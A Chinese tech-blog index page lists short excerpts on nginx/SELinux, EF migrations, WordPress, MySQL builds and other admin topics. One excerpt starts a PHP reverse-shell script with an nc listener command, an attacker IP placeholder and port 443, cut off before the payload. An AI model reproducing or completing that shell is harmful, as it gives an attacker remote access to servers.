我的rtem的版本是rtems-4.10.2:首先安装textinfo:sudo apt-get install texinfo然后:cd rtems-4.10.2/doc../bootstrap./configure --enable-maintainer-modecd tools ; makec...
分类:
系统相关 时间:
2014-11-20 16:51:31
阅读次数:
170
https://www.t00ls.net/viewthread.php?tid=28086
<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者Spider
*nc-vvlp443
********************************/
$ip=‘xxx.xxx.xxx.xxx‘;
$port=‘443‘;
$file=‘/tmp/bc.pl‘;
header("content-T..
分类:
Web程序 时间:
2014-11-20 15:37:45
阅读次数:
511
1:在程序运行中进行宏定义CALL routines that enable you to transfer information between an executing DATA step and the macro processor.You can use the SYMPUT routi...
分类:
数据库 时间:
2014-11-20 13:37:57
阅读次数:
405
现象:
1 启动nginx成功,使用wget 127.0.0.1得到内容,但是提示是禁止访问(403);
2 查看/var/log/nginx/error.log,提示访问/home/www/l.com/i.html禁止;
3 查看SELinux 是否运行: sestatus -v,enable就是运行了
4查看/var/log/Audit/Audit.log日志,发现有提示到nginx被...
分类:
Web程序 时间:
2014-11-20 00:06:55
阅读次数:
720
最近用MVC+EF学习时遇到修改model后而数据库没更新报错,就在网上找关于数据迁移自动更新数据库的,折腾了大半天终于弄了出来第一步:在程序包管理器控制台里: Enable-Migrations -ProjectName EF所在的项目名称第二步:运行后会在字段生成Migrations文件夹,Mi...
分类:
数据库 时间:
2014-11-19 18:09:52
阅读次数:
200
WordPress注册用户是不支持中文的。但是最近在项目中需要用到中文注册。
后来想到了简单的处理办法:
打开 wp-includes/formatting.php,找到
function sanitize_user( $username, $strict = false ) {
把 $strict 强制指定为 false,即在 sanitize_user 这行函数的下一行添加如下代码
$strict = false;
或者注释掉
//$username = preg_replace( '|[...
分类:
其他好文 时间:
2014-11-19 10:57:51
阅读次数:
142
VMware中装配Win2012再配置Hyper-v,解决虚拟机监控程序已经在运行中的方法找到虚拟机存放的位置,用记事本打开WindowsServer2012.vmx,在最后添加两行并保存:hypervisor.cpuid.v0="FALSE"mce.enable="TRUE"
ssh远程登陆错:[root@had-0pam.d]#sshhad-0NoRSAhostkeyisknownforhad-0andyouhaverequestedstrictchecking.Hostkeyverificationfailed.解决:从其他地方拷个known_hosts到.ssh下
分类:
其他好文 时间:
2014-11-19 02:14:10
阅读次数:
330
部署网站平台
安装MySQL
编译安装MySQL-5.1
# ./configure --prefix=/usr/local/mysql--with-charset=utf8 --enable-assembler --with-extra-charsets=all--with-plugins=all
1
2
3
4
5
...
分类:
其他好文 时间:
2014-11-19 01:50:00
阅读次数:
823
JavaScript中的“严格模式”。 如果在脚本文件的第一行加入"use strict"; 则整个脚本都将以“严格模式”运行。如果语句不在第一行,则无效,整个脚本以“正常模式”运行。PS:只要"use strict"; 不跟在实际运行结果的语句后面,可以不在第一行。 如果"use strict.....
分类:
编程语言 时间:
2014-11-18 22:59:00
阅读次数:
228